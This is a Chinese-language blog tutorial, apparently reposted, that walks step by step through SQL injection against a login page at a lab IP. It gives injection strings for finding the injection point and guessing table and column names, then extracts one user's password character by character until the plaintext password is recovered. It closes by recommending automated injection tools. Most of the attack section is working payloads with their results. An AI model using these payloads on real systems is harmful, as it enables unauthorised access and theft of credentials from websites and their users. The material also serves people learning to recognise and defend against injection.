黑客如何用 sql 注入攻破一个网站,图文讲解全流程!
Posted 安全犀牛
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了黑客如何用 sql 注入攻破一个网站,图文讲解全流程!相关的知识,希望对你有一定的参考价值。
(图片源于网络,侵删)
参考:https://www.sohu.com/a/217533296_472906,本周的社群正在私聊,不要急~~
SQL注入已经科普很多了,今天我们分享一个案例吧:如何用SQL注入一步步攻破一个网站!
1
一些基础
首先我们在一个具备sql注入漏洞的网站开始实战测试(实验网站已经通知修复)前提准备:
网址:http://172.18.3.13:81/login.asp?name
用户名:admin 密码:admin
(1)判断有无注入点
; and 1=1 and 1=2
(2)猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在admin这张表
(3)猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
(4)猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)
(5)猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确
(6)猜解字符
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where
Asc(mid(pass,5,1))=51) --
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
2
判断有无SQL注入点
SQL注入漏洞测试:
在正常用户名admin后增加一个单引号,单击"登录"
若出错,证明没有对'进行过滤,存在SQL注入漏洞
在正常用户名admin后增加一个单引号,单击"登录"
出错
登录出错,证明存在SQL注入漏洞。
3
SQL注入攻击
1、SQL注入攻击
输入http://172.18.3.13:81/login.asp?name=admin &pass=admin' and '1=1
原SQL语句为SELECT * FROM data Where uname='admin',条件未变,但接收密码为admin' and '1=1
登录失败
输入http://172.18.3.13:81/login.asp?pass=admin&name=admin' and 1=1 and 'a'='a
原SQL语句为SELECT * FROM data Where uname='admin' and 1=1 and 'a'='a'
登录成功
2、猜解数据库表名
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (select count(*) from data)>0 and 'a'='a
成功,说明数据表名确为data;若不成功,则可反复测试,直至成功猜出表名
http://172.18.3.13:81/login.asp?pass=admin&name=admin'and (select count(uname) from data)>0 and 'a'='a
若用户名字段确为uname,则提示登录成功
同理可猜出密码字段为upass
猜测用户名字段为name,登录出错
猜测用户名字段为uname,登录成功
说明数据库中用户名字段为uname
猜测密码字段为upass,登录成功
说明数据库中密码字段为upass
已知有一用户名为"wucm",首先猜其密码长度大于1
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>1)>0 and 'a'='a
成功,说明用户"wucm"的密码大于1, 继续猜测密码长度小于10
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)<10)>0 and 'a'='a
成功,说明"wucm"的密码长度小于10位,继续猜测其密码长度小于5
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)<5)>0 and 'a'='a
出错,说明"wucm"的密码长度大于5位,继续猜测其密码长度大于8位
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>8)>0 and 'a'='a
出错,说明"wucm"的密码长度小于8位,继续猜测其密码长度等于6位
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)=6)>0 and 'a'='a
成功,说明"wucm"的密码长度为6位
根据前面的测试我们已经知道该用户的密码长度位6位,接下来对密码进行逐位猜测:
首先测试第一位是否为数字
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)<'9')>0 and 'a'='a
出错,说明密码第一位不是数字, 测试是否位字母
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)>'a')>0 and 'a'='a
成功,基本说明密码第一位是字母, 接下来重复测试,不断缩小字母范围,最后确定密码第一位为字母"w"
http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)='w')>0 and 'a'='a
成功,说明密码第一位位"w"
同理对6位密码逐位进行猜测,最后得到密码为"wcm987"
至此我们就猜测出用户"wucm"的密码为"wcm987",进行登陆测试:
登录成功,证明整个猜测过程和最后得出的密码都是正确的。
4
常见SQL注入工具推荐
1.Sqlmap
Sqlmap是一个自动SQL 注入工具。其可胜任执行一个广泛的数据库管理系统后端指纹,检索DBMS数据库、usernames、表格、列、并列举整个DBMS信息。Sqlmap提供转储数据库表以及mysql、PostgreSQL、SQL Server服务器下载或上传任何文件并执行任意代码的能力。
2.BSQL Hacker
BSQL Hacker是由Portcullis实验室开发的,BSQL Hacker 是一个SQL自动注入工具(支持SQL盲注),其设计的目的是希望能对任何的数据库进行SQL溢出注入。 BSQL Hacker的适用群体是那些对注入有经验的使用者和那些想进行自动SQL注入的人群。BSQL Hacker可自动对Oracle和MySQL数据库进行攻击,并自动提取数据库的数据和架构。
3.The Mole
The Mole是一款开源的自动化SQL注入工具,其可绕过IPS/IDS(入侵防御系统/入侵检测系统)。只需提供一个URL和一个可用的关键字,它就能够检测注入点并利用。The Mole可以使用union注入技术和基于逻辑查询的注入技术。The Mole攻击范围包括SQL Server、MySQL、Postgres和Oracle数据库。
以上:希望有些帮助!
在分享一个小游戏,欢迎分享转发哟!
欢迎来到安全犀牛
领取你的人生成绩单
推荐阅读
以上是关于黑客如何用 sql 注入攻破一个网站,图文讲解全流程!的主要内容,如果未能解决你的问题,请参考以下文章